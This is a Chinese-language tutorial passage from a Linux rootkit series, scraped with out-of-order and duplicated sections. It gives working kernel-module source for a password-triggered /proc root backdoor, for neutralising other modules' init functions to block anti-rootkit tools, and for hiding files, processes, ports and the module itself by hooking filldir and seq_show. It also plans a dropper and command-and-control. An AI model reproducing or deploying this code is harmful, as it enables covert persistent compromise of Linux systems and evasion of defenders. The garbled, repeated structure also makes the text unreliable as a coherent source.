            struct file *filp;                                  \
            struct file_operations *f_op;                       \
                                                                \
            fm_alert("Opening the path: %s.\n", path);          \
            filp = filp_open(path, O_RDONLY, 0);                \
            if (IS_ERR(filp)) {                                 \
                fm_alert("Failed to open %s with error %ld.\n", \
                         path, PTR_ERR(filp));                  \
                old = NULL;                                     \
            } else {                                            \
                fm_alert("Succeeded in opening: %s\n", path);   \
                f_op = (struct file_operations *)filp->f_op;    \
                old = f_op->op;                                 \
                                                                \
                fm_alert("Changing iterate from %p to %p.\n",   \
                         old, new);                             \
                disable_write_protection();                     \
                f_op->op = new;                                 \
                enable_write_protection();                      \
            }                                                   \
        } while(0)
    

    实验

    实验时,笔者随(gu)手(yi)用来隐藏的文件名: 032416_525.mp4 。从下图我们可以看到,在加载我们的内核模块( fshidko )之前, test目录下的 032416_525.mp4 是可以列举出来的; 但是加载 fshidko之后就看不到了,并且在 dmesg的日志里, 我们可以看到 fshidko打印的隐藏了这个文件的信息。

    选读内容:相关内核源码的简略分析

    SYSCALL_DEFINE3(getdents, unsigned int, fd,
             struct linux_dirent __user *, dirent, unsigned int, count)
    {
         // 这儿省略若干代码。
    
         struct getdents_callback buf = {
             .ctx.actor = filldir, // 最后的接锅英雄。
             .count = count,
             .current_dir = dirent
         };
    
         // 这儿省略若干代码。
    
         // 跟进 ``iterate_dir``,
         // 可以看到它是通过 ``struct file_operations`` 里
         // ``iterate`` 完成任务的。
         error = iterate_dir(f.file, &buf.ctx);
    
         // 这儿省略若干代码。
    
         return error;
    }
    
    int iterate_dir(struct file *file, struct dir_context *ctx)
    {
         struct inode *inode = file_inode(file);
         int res = -ENOTDIR;
    
         // 如果 ``struct file_operations`` 里的 ``iterate``
         // 为 ``NULL``,返回 ``-ENOTDIR`` 。
         if (!file->f_op->iterate)
             goto out;
    
         // 这儿省略若干代码。
    
         res = -ENOENT;
         if (!IS_DEADDIR(inode)) {
             ctx->pos = file->f_pos;
             // ``iterate_dir`` 把锅甩给了
             // ``struct file_operations`` 里的 ``iterate``,
             // 对这个 ``iterate`` 的分析请看下面。
             res = file->f_op->iterate(file, ctx);
             file->f_pos = ctx->pos;
             // 这儿省略若干代码。
         }
         // 这儿省略若干代码。
    out:
         return res;
    }
    

    这一层一层的剥开, 我们来到了 struct file_operations 里面的 iterate, 这个 iterate 在不同的文件系统有不同的实现, 下面(位于fs/ext4/dir.c ) 是针对 ext4文件系统的 struct file_operations , 我们可以看到ext4 文件系统的 iterate 是ext4_readdir 。

    const struct file_operations ext4_dir_operations = {
         .llseek         = ext4_dir_llseek,
         .read       = generic_read_dir,
         .iterate    = ext4_readdir,
         .unlocked_ioctl = ext4_ioctl,
    #ifdef CONFIG_COMPAT
         .compat_ioctl   = ext4_compat_ioctl,
    #endif
         .fsync      = ext4_sync_file,
         .open       = ext4_dir_open,
         .release    = ext4_release_dir,
    };
    

    ext4_readdir 经过各种各样的操作之后会通过 filldir把目录里的项目一个一个的填到 getdents返回的缓冲区里,缓冲区里是一个个的 struct linux_dirent 。我们的隐藏方法就是在 filldir 里把需要隐藏的项目给过滤掉。

     

    4. 隐藏进程

    Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是本文的重点内容了。

    我们修改一下上面隐藏文件时的假 filldir 即可实现进程隐藏, 如下所示。

    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        char *endp;
        long pid;
    
        // 把字符串变成长整数。
        pid = simple_strtol(name, &endp, 10);
    
        if (pid == SECRET_PROC) {
            // 是我们需要隐藏的进程,直接返回。
            fm_alert("Hiding pid: %ld", pid);
            return 0;
        }
    
        /* pr_cont("%s ", name); */
    
        // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }
    

     

    实验

    笔者选择隐藏 pid 1 来做演示。在使用systemd 的系统上,pid 1 总是 systemd,看下图, 我们可以看到加载我们的模块( pshidko )之后, ps -A看不到 systemd了;把 pshidko 卸载掉,systemd就显示出来了。

     

    5. 隐藏端口

    向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。

    具体说来,看下面的表格。

    网络类型 /proc 文件 内核源码文件 主要实现函数


    TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show


    TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show


    UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show


    UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show

    本小节以TCP /IPv4为例,其他情况读者可举一反三。

    文件的第一行是每一列的含义, 后面的行就是当前网络连接(socket /套接字)的具体信息。 这些信息是通过 seq_file 接口在 /proc 中暴露的。seq_file 拥有的操作函数如下,我们需要关心是 show 。

    struct seq_operations {
         void * (*start) (struct seq_file *m, loff_t *pos);
         void (*stop) (struct seq_file *m, void *v);
         void * (*next) (struct seq_file *m, void *v, loff_t *pos);
         int (*show) (struct seq_file *m, void *v);
    };
    

    前面我们提到了隐藏端口也就是在进程读取 /proc/net/tcp 等文件获取端口信息时过滤掉不希望让进程看到的内容,具体来讲, 就是将/proc/net/tcp 等文件的 show 函数篡改成我们的钩子函数,然后在我们的假 show 函数里进行过滤。

    我们先看看用来描述 seq_file 的结构体,即 struct seq_file , 定义于linux/seq_file.h 。 seq_file 有一个缓冲区,也就是 buf 成员,容量是 size ,已经使用的量是 count ;理解了这几个成员的作用就能理解用于过滤端口信息的假 tcp_seq_show 了。

    struct seq_file {
         char *buf; // 缓冲区。
         size_t size; // 缓冲区容量。
         size_t from;
         size_t count; // 缓冲区已经使用的量。
         size_t pad_until;
         loff_t index;
         loff_t read_pos;
         u64 version;
         struct mutex lock;
         const struct seq_operations *op;
         int poll_event;
         const struct file *file;
         void *private;
    };
    

    钩 /proc/net/tcp 等文件的 show 函数的方法与之前讲隐藏文件钩iterate 的方法类似, 用下面的宏可以通用的钩这几个文件 seq_file接口里面的操作函数。

    # define set_afinfo_seq_op(op, path, afinfo_struct, new, old)   \
        do {                                                        \
            struct file *filp;                                      \
            afinfo_struct *afinfo;                                  \
                                                                    \
            filp = filp_open(path, O_RDONLY, 0);                    \
            if (IS_ERR(filp)) {                                     \
                fm_alert("Failed to open %s with error %ld.\n",     \
                         path, PTR_ERR(filp));                      \
                old = NULL;                                         \
            }                                                       \
                                                                    \
            afinfo = PDE_DATA(filp->f_path.dentry->d_inode);        \
            old = afinfo->seq_ops.op;                               \
            fm_alert("Setting seq_op->" #op " from %p to %p.",      \
                     old, new);                                     \
            afinfo->seq_ops.op = new;                               \
                                                                    \
            filp_close(filp, 0);                                    \
        } while (0)
    

    最后,我们看看假 show 函数是如何过滤掉端口信息的。

    注1 : TMPSZ 是 150,内核源码里是这样定义的。换句话说,/proc/net/tcp 里的每一条记录都是 149 个字节(不算换行)长,不够的用空格补齐。

    注2 : 我们不用 TMPSZ 也可以,并且会更加灵活,具体细节请看下面隐藏内核模块时 /proc/modules 的假 show函数是怎么处理的。

    int
    fake_seq_show(struct seq_file *seq, void *v)
    {
        int ret;
        char needle[NEEDLE_LEN];
    
        // 把端口转换成 16 进制,前面带个分号,避免误判。
        // 用来判断这项记录是否需要过滤掉。
        snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
        // real_seq_show 会往 buf 里填充一项记录
        ret = real_seq_show(seq, v);
    
        // 该项记录的起始 = 缓冲区起始 + 已有量 - 每条记录的大小。
        if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
            fm_alert("Hiding port %d using needle %s.\n",
                     SECRET_PORT, needle);
            // 记录里包含我们需要隐藏的的端口信息,
            // 把 count 减掉一个记录大小,
            // 相当于把这个记录去除掉了。
            seq->count -= TMPSZ;
        }
    
        return ret;
    }
    

    实验

    我们拿TCP /IPv4 111 端口来做演示,读者需要根据实际测试时的环境做必要改动。 如图,加载 pthidko之前,我们可以看到 111 端口处于监听状态;加载之后,这条记录不见了,被隐藏起来; 把 pthidko卸载掉,这条记录又显示出来了。

     

    6. 隐藏内核模块

    《Linux Rootkit 系列一: LKM的基础编写及隐藏》一文里提到了隐藏内核模块的两种方式, 一种可以从 lsmod 中隐藏掉,另一种可以从 /sys/module 里隐藏掉。然而,这两种隐藏方式都使得模块没法卸载了。在我们开发的初级阶段,这一点也不方便调试,笔者暂时就不讲这两个了。

    我们看看另外的思路。从 /sys/module 里隐藏的话,我们使用之前隐藏文件的方式隐藏掉就可以了。我想聪明的读者应该想到了这点,这再一次证明了文件隐藏的意义。

    那么怎么从 lsmod 里隐藏掉呢。 仔细回想一下,既然 lsmod 的数据来源是/proc/modules , 那用我们隐藏端口时采用的方式就好了: 钩掉/proc/modules 的 show 函数, 在我们的假 show函数里过滤掉我们想隐藏的模块。

    粗略地浏览内核源码,我们可以发现, /proc/modules 的实现位于kernel/module.c , 并且主要的实现函数是 m_show 。

    接下来的问题是, 我们怎么钩这个文件 seq_file 接口里的 show 函数呢,钩法与 /proc/net/tcp 并不一样,但是类似,请看下面的宏。

    # define set_file_seq_op(opname, path, new, old)                    \
        do {                                                            \
            struct file *filp;                                          \
            struct seq_file *seq;                                       \
            struct seq_operations *seq_op;                              \
                                                                        \
            fm_alert("Opening the path: %s.\n", path);                  \
            filp = filp_open(path, O_RDONLY, 0);                        \
            if (IS_ERR(filp)) {                                         \
                fm_alert("Failed to open %s with error %ld.\n",         \
                         path, PTR_ERR(filp));                          \
                old = NULL;                                             \
            } else {                                                    \
                fm_alert("Succeeded in opening: %s\n", path);           \
                seq = (struct seq_file *)filp->private_data;            \
                seq_op = (struct seq_operations *)seq->op;              \
                old = seq_op->opname;                                   \
                                                                        \
                fm_alert("Changing seq_op->"#opname" from %p to %p.\n", \
                         old, new);                                     \
                disable_write_protection();                             \
                seq_op->opname = new;                                   \
                enable_write_protection();                              \
            }                                                           \
        } while (0)
    

    这个宏与之前写的宏非常类似,唯一的不同,并且读者可能不能理解的是下面这一行。

    seq = (struct seq_file *)filp->private_data;
    

    我想,读者的问题应该是: struct file 的 private_data成员为什么会是我们要找的 struct seq_file 指针?

    请看内核源码。下面的片段是 /proc/modules 的初始部分,我们想要做的是钩掉 m_show 。 纵观源码,引用了 modules_op的只有seq_open 。

    static const struct seq_operations modules_op = {
         .start  = m_start,
         .next   = m_next,
         .stop   = m_stop,
         .show   = m_show
    };
    
    static int modules_open(struct inode *inode, struct file *file)
    {
         return seq_open(file, &modules_op);
    }
    

    那我们跟进 seq_open 看看, seq_open 的实现位于 fs/seq_file.c 。

    int seq_open(struct file *file, const struct seq_operations *op)
    {
         struct seq_file *p;
    
         WARN_ON(file->private_data);
    
         // 分配一个 ``struct seq_file`` 的 内存。
         p = kzalloc(sizeof(*p), GFP_KERNEL);
         if (!p)
             return -ENOMEM;
    
         // 读者看到这一行应该就能理解了。
         // 对 ``/proc/modules`` 而言,
         // ``struct file`` 的 ``private_data`` 指向的就是
         // 他的 ``struct seq_file``。
         file->private_data = p;
    
         mutex_init(&p->lock);
         // 把 ``struct seq_file`` 的 ``op`` 成员赋值成 ``op``,
         // 这个 ``op`` 里就包含了我们要钩的 ``m_show`` 。
         p->op = op;
    
         // 这儿省略若干代码。
    
         return 0;
    }
    

    这时候,我们可以看看 /proc/modules 的假 show 函数了。过滤逻辑是很容易理解的; 读者应该重点注意一下 last_size 的计算,这也就是笔者在讲端口隐藏时说到我们可以不用 TMPSZ ,我们可以自己计算这一条记录的大小。自己计算的灵活性就在于,就算每个记录的大小不是同样长的,我们的代码也能正常工作。

     : /proc/modules 里的每条记录长度确实不是一样,有长有短。

    int
    fake_seq_show(struct seq_file *seq, void *v)
    {
        int ret;
        size_t last_count, last_size;
    
        // 保存一份 ``count`` 值,
        // 下面的 ``real_seq_show`` 会往缓冲区里填充一条记录,
        // 添加完成后,seq->count 也会增加。
        last_count = seq->count;
        ret =  real_seq_show(seq, v);
    
        // 填充记录之后的 count 减去填充之前的 count
        // 就可以得到填充的这条记录的大小了。
        last_size = seq->count - last_count;
    
        if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                    last_size)) {
            // 是需要隐藏的模块,
            // 把缓冲区已经使用的量减去这条记录的长度,
            // 也就相当于把这条记录去掉了。
            fm_alert("Hiding module: %s\n", SECRET_MODULE);
            seq->count -= last_size;
        }
    
        return ret;
    }
    

     

    实验

    我们选择隐藏模块自己( kohidko )来做演示。看下图。 加载 kohidko之后, lsmod 没有显示出我们的模块, /sys/module下面也列举不到我们的模块; 并且,右侧 dmesg 的日志也表明我们的假filldir 与假 show 函数起了过滤作用。

     

    第二部分:未来展望

    至此,我们讨论了大部分作为一个 Rootkit 必备的基本功能;但是,我们的代码依旧是零散的一个一个的实验,而不是一个有机的整体。当然,笔者的代码尽可能的做好了布局组织与模块化,这能给我们以后组装的时候节省一些力气。

    在接下来的文章里,一方面,我们会把这些一个一个零散的实验代码组装成一个能进行实验性部署的Rootkit。要实现这个目标, 除了组装,我们还需要释放程序( Dropper ),还需要增加远程控制( Command & Control )能力。

    再者,我们可能会着手讨论 Rootkit 的检测与反检测。 还有就是讨论当前 LinuxRootkit 的实际发展状态, 比如分析已知用于实际攻击的 Rootkit所采用的技术, 分析我们的技术水平差异,并从中学习如何实现更先进的功能。

    最后,我们还可能改善兼容性与拓展性。我们现在的代码只在比较新的内核版本(比如 4.5.x / 4.6.x)上测试过。而且,我们压根就没有考虑已知的兼容性问题。 因而,要想在 3.x,甚至 2.x上跑, 我们还需要花时间兼容不同版本的内核。然后,我们还希望往其他架构上发展(比如 ARM )。

     

    第三部分:参考资料与延伸阅读

    1. 参考资料

    2. 延伸阅读

     

     

    展开全文
  • 本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit。 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地...

    前言

    鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正。

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit

    测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试!

    概要

    上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_call_table /ia32_sys_call_table )的挂钩, 文章强调以代码与动手实验为核心。

    长话短说,本文也将以同样的理念带领读者一一缕清 Rootkit 必备的基本功能,包括提供 root 后门,控制内核模块的加载, 隐藏文件(提示:这是文章的重点与核心内容),隐藏进程,隐藏网络端口,隐藏内核模块等。

    短话长说,本文不打算给大家介绍剩下的几种不同的系统调用挂钩技术:比如说,修改 32 位系统调用( 使用 int $0x80 ) 进入内核需要使用的IDTInterrupt descriptor table / 中断描述符表) 项, 修改 64位系统调用( 使用 syscall )需要使用的MSRModel-specific register / 模型特定寄存器,具体讲, 64位系统调用派遣例程的地址位于 MSR_LSTAR );又比如基于修改系统调用派遣例程 (对 64 位系统调用而言也就是entry_SYSCALL_64 ) 的钩法; 又或者,内联挂钩 / InlineHooking

    这些钩法我们以后再谈,现在,我们先专心把一种钩法玩出花样。上一篇文章讲的钩法,也就是函数指针的替换,并不局限于钩系统调用。本文会将这种方法应用到其他的函数上。

    第一部分:Rootkit 必备的基本功能

    站稳,坐好。

    1. 提供 root 后门

    这个特别好讲,笔者就拿提供 root 后门这个功能开刀了。

    大家还记得前段时间 全志AllWinner ) 提供的 Linux 内核里面的 root 后门吧,不了解的可以看一下 FB 之前的文章,外媒报道:中国知名ARM制造商全志科技在Linux中留下内核后门

    我们拿后门的那段源代码改改就好了。

    具体说来,逻辑是这样子的, 我们的内核模块在/proc 下面创建一个文件,如果某一个进程向这个文件写入特定的内容(读者可以把这个“特定的内容”理解成口令或者密码),我们的内核模块就把这个进程的uid euid等等全都设置成 0, 也就是 root 账号的。这样,这个进程就拥有了 root权限。

    不妨拿 全志 root 后门这件事来举个例子,在运行有后门的 Linux 内核的设备上, 进程只需要向/proc/sunxi_debug/sunxi_debug 写入 rootmydevice 就可以获得 root权限。

    另外,我们的内核模块创建的那个文件显然是要隐藏掉的。考虑到现在还没讲文件隐藏(本文后面会谈文件隐藏),所以这一小节的实验并不包括将创建出来的文件隐藏掉。

    下面我们看看怎样在内核模块里创建/proc 下面的文件。

    全志 root 后门代码里用到的create_proc_entry 是一个过时了的API,而且在新内核里面它已经被去掉了。 考虑到笔者暂时还不考虑兼容老的内核,所以我们直接用新的API proc_create proc_remove , 分别用于创建与删除一个/proc 下面的项目。

    函数原型如下。

    # include <linux/proc_fs.h>
    
    static inline struct proc_dir_entry *
    proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
    
    void
    proc_remove(struct proc_dir_entry *entry);
    

    proc_create 参数的含义依次为,文件名字,文件访问模式,父目录,文件操作函数结构体。 我们重点关心第四个参数:struct file_operations里面是一些函数指针,即对文件的各种操作的处理函数, 比如,读( read)、写( write )。 该结构体的定义位于 linux/fs.h,后面讲文件隐藏的时候还会遇到它。

    创建与删除一个 /proc文件的代码示例如下。

    struct proc_dir_entry *entry;
    
    entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
    
    proc_remove(entry);
    

    实现我们的需求只需要提供一个写操作( write )的处理函数就可以了,如下所示。

    ssize_t
    write_handler(struct file * filp, const char __user *buff,
                  size_t count, loff_t *offp);
    
    struct file_operations proc_fops = {
        .write = write_handler
    };
    
    ssize_t
    write_handler(struct file * filp, const char __user *buff,
                  size_t count, loff_t *offp)
    {
        char *kbuff;
        struct cred* cred;
    
        // 分配内存。
        kbuff = kmalloc(count, GFP_KERNEL);
        if (!kbuff) {
            return -ENOMEM;
        }
    
        // 复制到内核缓冲区。
        if (copy_from_user(kbuff, buff, count)) {
            kfree(kbuff);
            return -EFAULT;
        }
        kbuff[count] = (char)0;
    
        if (strlen(kbuff) == strlen(AUTH) &&
            strncmp(AUTH, kbuff, count) == 0) {
    
            // 用户进程写入的内容是我们的口令或者密码,
            // 把进程的 ``uid`` 与 ``gid`` 等等
            // 都设置成 ``root`` 账号的,将其提权到 ``root``。
            fm_alert("%s\n", "Comrade, I will help you.");
            cred = (struct cred *)__task_cred(current);
            cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
            cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
            fm_alert("%s\n", "See you!");
        } else {
            // 密码错误,拒绝提权。
            fm_alert("Alien, get out of here: %s.\n", kbuff);
        }
    
        kfree(buff);
        return count;
    }
    

    实验

    编译并加载我们的内核模块,以 Kali 为例:Kali 默认只有 root 账号, 我们可以用useradd <username> 添加一个临时的非 root 账号来运行提权脚本(r00tme.sh )做演示。 效果参见下图, 可以看到在提权之前用户的uid 是 1000,也就是普通用户,不能读取 /proc/kcore ; 提权之后,uid 变成了0,也就是超级用户,可以读取 /proc/kcore

    image

    2. 控制内核模块的加载

    想象一下,在一个月黑风高的夜晚,邪恶的读者(误:善良的读者)通过某种手段(可能的经典顺序是RCE +LPE , Remote CodeExecution / 远程代码执行 + Local Privilege Escalation / 本地特权提升)得到了某台机器的 root 命令执行; 进而执行 Rootkit 的 Dropper程序释放并配置好 Rootkit, 让其进入工作状态。

    这时候,Rootkit 首先应该做的并不是提供 root 后门;而是,一方面,我们应该尝试把我们进来的门(漏洞)堵上, 避免 其他不良群众乱入,另一方面,我们希望能控制好其他程序(这个其他程序主要是指反 Rootkit 程序与 其他 不良 Rootkit),使其不加载 其他 不良内核模块与我们在内核态血拼。

    理想状态下,我们的 Rootkit 独自霸占内核态, 阻止所有不必要的代码(尤其是反 Rootkit 程序与 其他 不良 Rootkit)在内核态执行。当然,理想是艰巨的,所以我们先做点容易的,控制内核模块的加载。

    控制内核模块的加载,我们可以从通知链机制下手。通知链的详细工作机制读者可以查看参考资料;简单来讲,当某个子系统或者模块发生某个事件时,该子系统主动遍历某个链表,而这个链表中记录着其他子系统或者模块注册的事件处理函数,通过传递恰当的参数调用这个处理函数达到事件通知的目的。

    具体来说,我们注册一个模块通知处理函数,在模块完成加载之后、开始初始化之前, 即模块状态为 MODULE_STATE_COMING, 将其初始函数掉包成一个什么也不做的函数。这样一来,模块不能完成初始化,也就相当于残废了。

    笔者决定多读读代码,少讲理论,所以我们先简要分析一下内核模块的加载过程。 相关代码位于内核源码树的kernel/module.c 。 我们从 init_module 开始看。

    SYSCALL_DEFINE3(init_module, void __user *, umod,
             unsigned long, len, const char __user *, uargs)
    {
         int err;
         struct load_info info = { };
    
         // 检查当前设置是否允许加载内核模块。
         err = may_init_module();
    
         if (err)
             return err;
    
         pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
                umod, len, uargs);
    
         // 复制模块到内核。
         err = copy_module_from_user(umod, len, &info);
         if (err)
             return err;
    
         // 交给 ``load_module`` 进一步处理。
         return load_module(&info, uargs, 0);
    }
    

    模块加载的主要工作都是 load_module 完成的,这个函数比较长,这里只贴我们关心的一小段。

    static int load_module(struct load_info *info, const char __user *uargs,
                int flags)
    {
         // 这儿省略若干代码。
    
         /* Finally it's fully formed, ready to start executing. */
         // 模块已经完成加载,可以开始执行了(但是还没有执行)。
         err = complete_formation(mod, info);
         if (err)
             goto ddebug_cleanup;
    
         // 我们注册的通知处理函数会在 ``prepare_coming_module`` 的
         // 时候被调用,完成偷天换日。在下面我们还会分析一下这个函数。
         err = prepare_coming_module(mod);
         if (err)
             goto bug_cleanup;
    
         // 这儿省略若干代码。
    
         // 在 ``do_init_module`` 里面,模块的初始函数会被执行。
         // 然而在这个时候,我们早就把他的初始化函数掉包了(/偷笑)。
         return do_init_module(mod);
    
         // 这儿省略若干代码:错误时释放资源等。
    }
    
    static int prepare_coming_module(struct module *mod)
    {
         int err;
    
         ftrace_module_enable(mod);
         err = klp_module_coming(mod);
         if (err)
             return err;
    
         // 就是这儿!调用通知链中的通知处理函数。
         // ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数,
         // 我们的处理函数只需处理这个通知。
         blocking_notifier_call_chain(&module_notify_list,
                          MODULE_STATE_COMING, mod);
         return 0;
    }
    

    说的具体点, 我们注册的通知链处理函数是在 notifier_call_chain函数里被调用的,调用层次为: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。有疑惑的读者可以细致地看看这部分代码, 位于内核源码树的kernel/notifier.c

    代码分析告一段落,接下来我们看看如何注册模块通知处理函数。用于描述通知处理函数的结构体是 struct notifier_block , 定义如下 。

    typedef  int (*notifier_fn_t)(struct notifier_block *nb,
                 unsigned long action, void *data);
    
    struct notifier_block {
         notifier_fn_t notifier_call;
         struct notifier_block __rcu *next;
         int priority;
    };
    

    注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier ,函数原型如下。

    int
    register_module_notifier(struct notifier_block *nb);
    
    int
    unregister_module_notifier(struct notifier_block *nb);
    

    编写一个通知处理函数,然后填充 struct notifier_block 结构体, 最后使用register_module_notifier 注册就可以了。代码片段如下。

    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data);
    
    struct notifier_block nb = {
        .notifier_call = module_notifier,
        .priority = INT_MAX
    };
    

    上面的代码是声明处理函数并填充所需结构体; 下面是处理函数具体实现。

    int
    fake_init(void);
    void
    fake_exit(void);
    
    
    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data)
    {
        struct module *module;
        unsigned long flags;
        // 定义锁。
        DEFINE_SPINLOCK(module_notifier_spinlock);
    
        module = data;
        fm_alert("Processing the module: %s\n", module->name);
    
        //保存中断状态加锁。
        spin_lock_irqsave(&module_notifier_spinlock, flags);
        switch (module->state) {
        case MODULE_STATE_COMING:
            fm_alert("Replacing init and exit functions: %s.\n",
                     module->name);
            // 偷天换日:篡改模块的初始函数与退出函数。
            module->init = fake_init;
            module->exit = fake_exit;
            break;
        default:
            break;
        }
    
        // 恢复中断状态解锁。
        spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    
        return NOTIFY_DONE;
    }
    
    
    int
    fake_init(void)
    {
        fm_alert("%s\n", "Fake init.");
    
        return 0;
    }
    
    
    void
    fake_exit(void)
    {
        fm_alert("%s\n", "Fake exit.");
    
        return;
    }
    

    实验

    测试时我们还需要构建另外一个简单的模块( test )来测试,从下图可以看到在加载用于控制模块加载的内核模块( komonko ) 之前,test 的初始函数与退出函数都正常的执行了; 在加载 komonko 之后,无论是加载 test 还是卸载 test , 它的初始函数与退出函数都没有执行,执行的是我们掉包后的初始函数与退出函数。

    image

    3. 隐藏文件

    说好的重点内容文件隐藏来了。不过说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c ),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir

    filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉 filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。

    具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。

    下面是假 iterate 与 假 filldir 的实现。

    int
    fake_iterate(struct file *filp, struct dir_context *ctx)
    {
        // 备份真的 ``filldir``,以备后面之需。
        real_filldir = ctx->actor;
    
        // 把 ``struct dir_context`` 里的 ``actor``,
        // 也就是真的 ``filldir``
        // 替换成我们的假 ``filldir``
        *(filldir_t *)&ctx->actor = fake_filldir;
    
        return real_iterate(filp, ctx);
    }
    
    
    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
            // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
            fm_alert("Hiding: %s", name);
            return 0;
        }
    
        /* pr_cont("%s ", name); */
    
        // 如果不是需要隐藏的文件,
        // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }
    

    钩某个目录的 struct file_operations 里的函数, 笔者写了一个通用的宏。

    # define set_f_op(op, path, new, old)                       \
        do {                                                    \
            struct file *filp;                                  \
            struct file_operations *f_op;                       \
                                                                \
            fm_alert("Opening the path: %s.\n", path);          \
            filp = filp_open(path, O_RDONLY, 0);                \
            if (IS_ERR(filp)) {                                 \
                fm_alert("Failed to open %s with error %ld.\n", \
                         path, PTR_ERR(filp));                  \
                old = NULL;                                     \
            } else {                                            \
                fm_alert("Succeeded in opening: %s\n", path);   \
                f_op = (struct file_operations *)filp->f_op;    \
                old = f_op->op;                                 \
                                                                \
                fm_alert("Changing iterate from %p to %p.\n",   \
                         old, new);                             \
                disable_write_protection();                     \
                f_op->op = new;                                 \
                enable_write_protection();                      \
            }                                                   \
        } while(0)
    

    实验

    实验时,笔者随(gu)手(yi)用来隐藏的文件名: 032416_525.mp4 。从下图我们可以看到,在加载我们的内核模块( fshidko )之前, test目录下的 032416_525.mp4 是可以列举出来的; 但是加载 fshidko之后就看不到了,并且在 dmesg 的日志里, 我们可以看到 fshidko打印的隐藏了这个文件的信息。

    image

    选读内容:相关内核源码的简略分析

    SYSCALL_DEFINE3(getdents, unsigned int, fd,
             struct linux_dirent __user *, dirent, unsigned int, count)
    {
         // 这儿省略若干代码。
    
         struct getdents_callback buf = {
             .ctx.actor = filldir, // 最后的接锅英雄。
             .count = count,
             .current_dir = dirent
         };
    
         // 这儿省略若干代码。
    
         // 跟进 ``iterate_dir``,
         // 可以看到它是通过 ``struct file_operations`` 里
         // ``iterate`` 完成任务的。
         error = iterate_dir(f.file, &buf.ctx);
    
         // 这儿省略若干代码。
    
         return error;
    }
    
    int iterate_dir(struct file *file, struct dir_context *ctx)
    {
         struct inode *inode = file_inode(file);
         int res = -ENOTDIR;
    
         // 如果 ``struct file_operations`` 里的 ``iterate``
         // 为 ``NULL``,返回 ``-ENOTDIR`` 。
         if (!file->f_op->iterate)
             goto out;
    
         // 这儿省略若干代码。
    
         res = -ENOENT;
         if (!IS_DEADDIR(inode)) {
             ctx->pos = file->f_pos;
             // ``iterate_dir`` 把锅甩给了
             // ``struct file_operations`` 里的 ``iterate``,
             // 对这个 ``iterate`` 的分析请看下面。
             res = file->f_op->iterate(file, ctx);
             file->f_pos = ctx->pos;
             // 这儿省略若干代码。
         }
         // 这儿省略若干代码。
    out:
         return res;
    }
    

    这一层一层的剥开, 我们来到了 struct file_operations 里面的 iterate, 这个 iterate 在不同的文件系统有不同的实现, 下面(位于fs/ext4/dir.c ) 是针对 ext4文件系统的 struct file_operations , 我们可以看到ext4 文件系统的 iterateext4_readdir

    const struct file_operations ext4_dir_operations = {
         .llseek         = ext4_dir_llseek,
         .read       = generic_read_dir,
         .iterate    = ext4_readdir,
         .unlocked_ioctl = ext4_ioctl,
    #ifdef CONFIG_COMPAT
         .compat_ioctl   = ext4_compat_ioctl,
    #endif
         .fsync      = ext4_sync_file,
         .open       = ext4_dir_open,
         .release    = ext4_release_dir,
    };
    

    ext4_readdir 经过各种各样的操作之后会通过 filldir把目录里的项目一个一个的填到 getdents返回的缓冲区里,缓冲区里是一个个的 struct linux_dirent 。我们的隐藏方法就是在 filldir 里把需要隐藏的项目给过滤掉。

